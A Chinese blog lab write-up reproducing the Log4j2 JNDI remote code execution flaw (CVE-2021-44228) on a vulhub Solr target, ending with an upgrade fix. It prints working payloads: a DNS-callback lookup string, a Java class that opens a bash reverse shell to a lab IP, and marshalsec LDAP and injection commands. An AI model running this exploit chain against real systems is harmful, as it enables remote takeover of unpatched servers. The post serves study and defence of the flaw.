首页 > 其他分享 >Apache Log4j2远程命令执行漏洞

Apache Log4j2远程命令执行漏洞

时间:2024-05-06 16:00:11浏览次数:29  
标签:shell java JNDI 漏洞 Shell Apache Log4j2 远程

目录

AApache Log4j2 是一个基于Java的日志记录工具,被广泛应用于业务系统开发,开发者可以利用该工具将程序的输入输出信息进行日志记录。Log4j2 远程代码执行漏洞编号 CVE-2021-44228。

漏洞原理

漏洞主要由于Log4j2在处理程序日志记录时存在 JNDI 入缺陷。JNDI是Java名称与目录接口,是一种查找其他组件、资源或服务的通用机制。利用这个缺陷,通过发送包含JNDI查找的恶意数据,触发Log4j2组件解析缺陷,实现远程代码执行。

Log4j2框架下的 lookup 查询服务提供了 {} 字段解析功能,传进去的值会被直接解析。在lookup的{}里面构造Payload,调用JNDI服务(LDAP、RMI等)获取恶意的class对象,造成了远程代码执行。

复现

影响版本:Apache Log4j 2.x <= 2.14.1 <= Log4j 2.15.0-rc1

环境搭建:使用 vulhub 搭建

cd /vulhub/log4j/CVE-2021-44228
docker compose up -d

访问 8983 可查看到 Apache Solr 的后台页面:

image

向 action 参数值发送利用 JNDI 发送DNS请求的Payload:

${jndi:dns://${sys:java.version}.jukclj.dnslog.cn}

image

dnslog 平台成功收到解析记录,Payload中的 ${sys:java:version} 被替换为了对应的java版本。

image

在JNDI接口lookup查询进行注入Payload ${jndi:dns/ldap/rmi:evil-url/poc} JNDI就会去对应的服务如LDAP、RMI、DNS查找资源,上面这个Paylaod就为DNS查询。

反弹shell

首先需要的在本地编译一个class文件,目的是让靶机远程加载这个类,执行其中反弹shell的代码。

//javac Shell.java
import java.lang.Runtime;
import java.lang.Process;

public class Shell {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            Process pc = rt.exec("/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/192.168.88.128/1234 0>&1");
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

class文件编译好以后,在class文件所在目录启用一个 python http 服务,让靶机可以访问到这个文件。

python3 -m http.server 2333 # 监听在2333端口

接着使用 marshalsec 这个项目来启动一个LADP服务,监听 1099 端口,并指定加载远程类文件:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.88.128:2333/#Shell" 1099

利用JNDI注入调用LADP服务来远程加载这个Shell类,执行反弹shell的代码:

http://192.168.88.150:8983/solr/admin/cores?action=${jndi:ldap://192.168.88.128:1099/Shell}

image

靶机回连到本地LADP服务,Python起的服务端收到请求返回Shell类,执行其中的反弹shell代码,kali监听1234收到反弹shell。

image

Log4j的利用方式和Fastjson很相似,通过JNDO注入,调用LDAP或RMI协议,远程加载恶意类造成反序列化命令执行。

漏洞修复

升级受影响的应用及组件,更新Log4j到新版本 log4j-2.15.0-rc2 及以上。

参考文章:
https://github.com/vulhub/vulhub/blob/master/log4j/CVE-2021-44228/README.zh-cn.md
https://github.com/luckyfuture0177/VULOnceMore/blob/main/Java框架/CVE-2021-44228-Log4jJNDI注入命令执行.md
https://www.freebuf.com/vuls/382838.html


若有错误,欢迎指正!o( ̄▽ ̄)ブ

标签:shell,java,JNDI,漏洞,Shell,Apache,Log4j2,远程
From: https://www.cnblogs.com/smileleooo/p/18133903

相关文章

  • web server apache tomcat11-31-websocket
    前言整理这个官方翻译的系列,原因是网上大部分的tomcat版本比较旧,此版本为v11最新的版本。开源项目从零手写实现tomcatminicat别称【嗅虎】心有猛虎,轻嗅蔷薇。系列文章webserverapachetomcat11-01-官方文档入门介绍webserverapachetomcat11-02-setup启动web......
  • Apache Shiro 721反序列化漏洞Padding Oracle Attack
    目录漏洞原理复现修复方式漏洞原理Shiro的RememberMeCookie使用的是AES-128-CBC模式加密。其中128表示密钥长度为128位,CBC代表CipherBlockChaining,这种AES算法模式的主要特点是将明文分成固定长度的块,然后利用前一个块的密文对当前块的明文进行加密处理。这种模式的加......
  • Apache Shiro 550反序列化漏洞
    目录漏洞原理复现漏洞探测方式一ysoserial反弹shell方式二ShiroAttack2一键利用修复措施ApacheShiro是一个用于身份验证、授权、加密和会话管理的Java安全框架。ApacheShiro550是个反序列化漏洞,漏洞编号为CVE-2016-4437。漏洞原理Shiro框架提供了一个RememberMe功能,允许......
  • Nexpose v6.6.248 for Linux & Windows - 漏洞扫描
    Nexposev6.6.248forLinux&Windows-漏洞扫描Rapid7VulnerabilityManagement,ReleaseApr24,2024请访问原文链接:Nexposev6.6.248forLinux&Windows-漏洞扫描,查看最新版。原创作品,转载请保留出处。作者主页:sysin.org您的本地漏洞扫描程序搜集通过实时......
  • Web漏洞扫描器-Xray
    下载地址:https://github.com/chaitin/xray/releases使用环境:Windows、Linux、macOS皆可工具说明:Xray扫描器是一款功能强大的安全评估工具。支持主动、被动多种扫描方式,支持常见Web漏洞的自动化检测,可以灵活定义POC,功能丰富,调用简单,支持多种操作系统。官方使用文档:https://docs......
  • 【安全服务系列】漏洞管理
    一、漏洞基础原则上,漏洞是指系统或网络中的一个脆弱点,其可能会被网络犯罪分子利用,以获得未经授权的访问,从而造成破坏。漏洞利用之后会发生什么呢,谁也说不准——安装恶意软件、窃取敏感数据、利用恶意代码造成损害等等。以下是有关漏洞的几个官方定义:1、NIST:系统、系统安全程......
  • apache druid 初识
    一:Apachedruid是一种实时分析数据库,设计用于对大型数据集进行快速分析(OLAP),支持数据的实时摄取,提供低时延的查询性能。二:Apachedruid主要特点(1)列式存储格式,查询时只加载特定查询的列,还根据数据类型优化每一列的存储,加快查询速度。(2)可扩展的分布式系统。典型的Druid部署......
  • 文件上传漏洞防范-文件类型检测
    文件上传漏洞防范-文件类型检测     当时需要开发一个功能,管理员可以上传一个包含不良词语的文本文件。系统利用这些词语实时检查用户提交的内容。上传的文件需要遵循特定的格式。为了防止用户上传文本文件以外的文件,我们可以在前端进行操作。<inputtype="file"accept="t......
  • spring-web-mvc项目运行报错:java.lang.NoClassDefFoundError: org/apache/catalina/We
    使用idea运行spring-web-mvc项目时,报错如下:错误:无法初始化主类com.itranswarp.learnjava1.AppConfig原因:java.lang.NoClassDefFoundError:org/apache/catalina/WebResourceRoot 首先,保证当前项目在独立的项目中打开,不要在多个项目中运行。导入Maven工程要选择:File......
  • Apache SeaTunnel k8s 集群模式 Zeta 引擎部署指南
    SeaTunnel提供了一种运行Zeta引擎(cluster-mode)的方法,可以让Kubernetes在本地运行Zeta引擎,实现更高效的应用程序部署和管理。在本文中,我们将探索SeaTunnelk8s运行zeta引擎(cluster-mode模式)的更多信息,了解如何更好地利用Zeta引擎的优势。将SeaTunnel上传至服务器上。我之前......